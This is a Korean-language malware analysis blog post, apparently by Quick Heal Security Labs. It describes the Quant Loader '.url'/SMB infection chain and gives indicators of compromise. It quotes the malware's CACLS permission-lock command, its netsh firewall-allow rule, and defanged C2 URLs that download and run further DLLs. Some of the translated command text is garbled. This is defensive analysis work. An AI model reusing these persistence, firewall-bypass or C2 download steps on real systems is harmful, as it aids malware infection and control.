지난주에 우리는 새로운 것의 등장에 대해 블로그에 올렸습니다. 공격 벡터 '.url' 맬웨어 유포에 사용됩니다. 이 블로그 게시물에서는 이 '.url' 벡터의 공격 체인을 자세히 살펴보고, 이를 적극적으로 악용하는 Quant Loader 맬웨어에 대해 자세히 알아보겠습니다.
이 공격에서 관찰된 실행 순서를 보여주는 아래 공격 체인을 살펴보겠습니다. 여기서는 ".url" 파일을 사용하여 맬웨어를 퍼뜨리고 있습니다.

다음은 공격 체인의 프로세스 요약을 나타낸 그림입니다.

위에서 설명한 대로 일반적으로 ".url"에는 URL("https://" 또는 "https://")이 포함되지만, 이 경우에는 악성 JavaScript를 실행하기 위해 SMB 공유에 액세스하는 것이 관찰되었습니다.

위 파일은 CVE-2016-3353과 관련이 있습니다. 이 취약점은 Internet Explorer가 인터넷 영역의 '.url' 파일을 잘못 처리하여 원격 공격자가 조작된 파일을 통해 의도된 액세스 제한을 우회할 수 있도록 합니다.
이러한 SMB 공유는 공개적으로 접근 가능하며 인증 없이도 접근할 수 있습니다. 그림 3과 4는 악성 JavaScript 파일이 저장된 공개 SMB 공유 위치 "buyviagraoverthecounterusabb[.]net/documents/"를 보여줍니다. 악성 SMB 공유 위치의 IP 주소는 "91.102.153.90"입니다.


다음 그림은 SMB 프로토콜을 통해 피해자에게 악성 JavaScript가 전달되는 모습을 보여줍니다.

악성 JavaScript를 열면 'wscript.exe' 애플리케이션이 실행됩니다.

그림 5에서 볼 수 있듯이 피해자가 '열기'를 클릭하면 악성 JavaScript에 의해 두 번째 단계 맬웨어가 다운로드됩니다. 이 악성 JavaScript는 매우 난독화되어 있으며 첫 번째 단계 다운로더로만 사용됩니다.

두 번째 단계의 악성코드는 JavaScript를 통해 '%TEMP%' 위치에 다운로드되고 'cmd.exe'를 통해 생성됩니다. 이 악성코드는 난독화된 실행 파일로, 메모리에서 직접 실행됩니다. 이 악성코드는 '퀀트 로더'이며 다른 악성코드를 다운로드하는 데 사용될 수 있습니다. Quick Heal Security Labs의 분석 당시 Quant Loader가 다운로드한 악성코드는 발견되지 않았습니다. Quant Loader 악성코드의 작동 방식을 살펴보겠습니다.
Quant Loader 맬웨어는 "Keyboard Layout\Preload"를 통해 시스템의 모든 키보드 로캘을 확인합니다. 로캘이 러시아어, 우크라이나어, 카자흐스탄어 중 하나라도 해당되면 종료됩니다.

Quant Loader는 다음 레지스트리 키를 사용하여 피해자 시스템의 32/64비트 구성을 식별합니다. 그런 다음 CNC 서버와 통신하는 동안 CNC 요청의 일부로 동일한 정보를 사용합니다.
HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir(x86)
또한 다음 레지스트리 항목이 있는지 확인합니다.

'dwm.exe'라는 이름의 자체 복사본을 '에 놓습니다. \<8DigitNumeric>' 폴더에 저장하고 레지스트리의 "실행" 항목을 통해 자동 실행되도록 설정합니다. 이는 시스템 내 지속성을 확보하기 위한 조치입니다.

이 8자리 숫자는 CNC 서버와 통신할 때 봇 ID(BotId)로 사용됩니다. BotId는 다음 단계를 거쳐 생성됩니다.
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid'를 읽어보세요.
- Machine ID 값에서 발생하는 순서대로 숫자만 추출합니다.
- 처음 5자리 숫자를 생략하고 8자리부터 5자리 숫자를 고려합니다.

그런 다음 로그인한 사용자의 8자리 폴더와 'dwm.exe' 파일에 대한 사용자 접근 권한을 읽기 모드로 변경합니다. 이렇게 하면 사용자는 폴더와 'dwm.exe'를 삭제하거나 수정할 수 없습니다. 이는 다음 명령을 통해 정품 CACLS Windows 파일을 사용하여 수행됩니다.
cmd /c echo Y|CACLS “c:\users\ \appdata\roaming\48378942\dwm.exe” /P “ :아르 자형"
그런 다음 Quant Loader는 "Quant"라는 이름의 아래 규칙을 방화벽에 추가합니다. 이를 통해 맬웨어는 방화벽 규칙을 우회하여 인터넷에서 통신할 수 있습니다.
netsh advfirewall 방화벽 규칙 이름="Quant" 프로그램="c:\users\ 추가 \appdata\roaming\48378942\dwm.exe” dir=Out action=allow
또한 CNC 도메인 'wassronledorhad[.]in'에 연결하여 다른 악성 파일을 다운로드하려고 시도합니다.
분석이 수행될 당시 CNC는 응답하지 않았습니다. 그러나 정적 분석을 통해 Quant Loader의 CNC 통신 및 기타 기능에 대한 몇 가지 통찰력을 얻을 수 있습니다.
CNC 서버가 활성화되어 있었다면 아래 파일이 다운로드되었을 것입니다.
hxxp://wassronledorhad.in/q2/lib/zs.dll.c
hxxp://wassronledorhad.in/q2/lib/bs.dll.c
hxxp://wassronledorhad.in/q2/lib/sql.dll.c
이러한 파일은 각각 zs.dll, bs.dll, sqlite3.dll이라는 이름으로 %APPDATA%\z 폴더에 저장됩니다.

'zs.dll'과 'sqlite3.dll'의 파일 크기가 0x20000 미만인지 확인합니다. 그런 다음 zs.dll의 "Main" 함수를 실행합니다.

Quant Loader는 다음 요청을 CNC 서버로 보내려고 했습니다.
hxxp://wassronledorhad[.]in/q2/index.php?id=48378942&c=2&mk=75490e&il=H&vr=1.73&bt=32
여기서 id = BotId, c = 요청 카운터, bt = 32/64비트 시스템입니다.
다음과 같은 구조를 가진 CNC 서버의 명령을 기다립니다.
[봇ID][명령][데이터]
명령은 "pwd", "exe", "doc", "dll" 중 하나일 수 있습니다.

"pwd" 명령은 "Main" 함수와 함께 zs.dll을 실행하는 것으로도 밝혀졌습니다.
나머지 명령의 경우, 맬웨어는 'temp' 폴더에 windows timestamp라는 이름의 파일을 생성합니다.

명령이 "exe"이면 ShellExecute API를 사용하여 파일을 실행합니다.

명령이 "doc"이면 WinExec API를 사용하여 파일을 실행합니다.

명령이 "dll"이면 그림 13에서 볼 수 있듯이 "LoadLibrary"와 "GetProcaddress"를 사용하여 dll에서 원하는 함수를 실행합니다.
따라서 명령에 따라 봇은 다른 악성 파일을 다운로드하여 실행할 수 있습니다.
현재 Quant Loader에서 '.Url' 공격 벡터를 사용하고 있습니다. 앞으로 다른 악성코드 계열에서도 이 초보 공격 벡터(.url)를 사용하는 사례가 증가할 것으로 예상됩니다.
손상의 지표:
50C359167CC74A962CACAFF2A795B23C
4394536E9A53B94A2634C68043E76EF8
buyviagraboverthecounterusabb[.]net/documents/B200795218387[.]js
91.102.153.90
주제별 전문가
- Pradeep Kulkarni, Amar Patil, Aniruddha Dolas | Quick Heal 보안 연구소


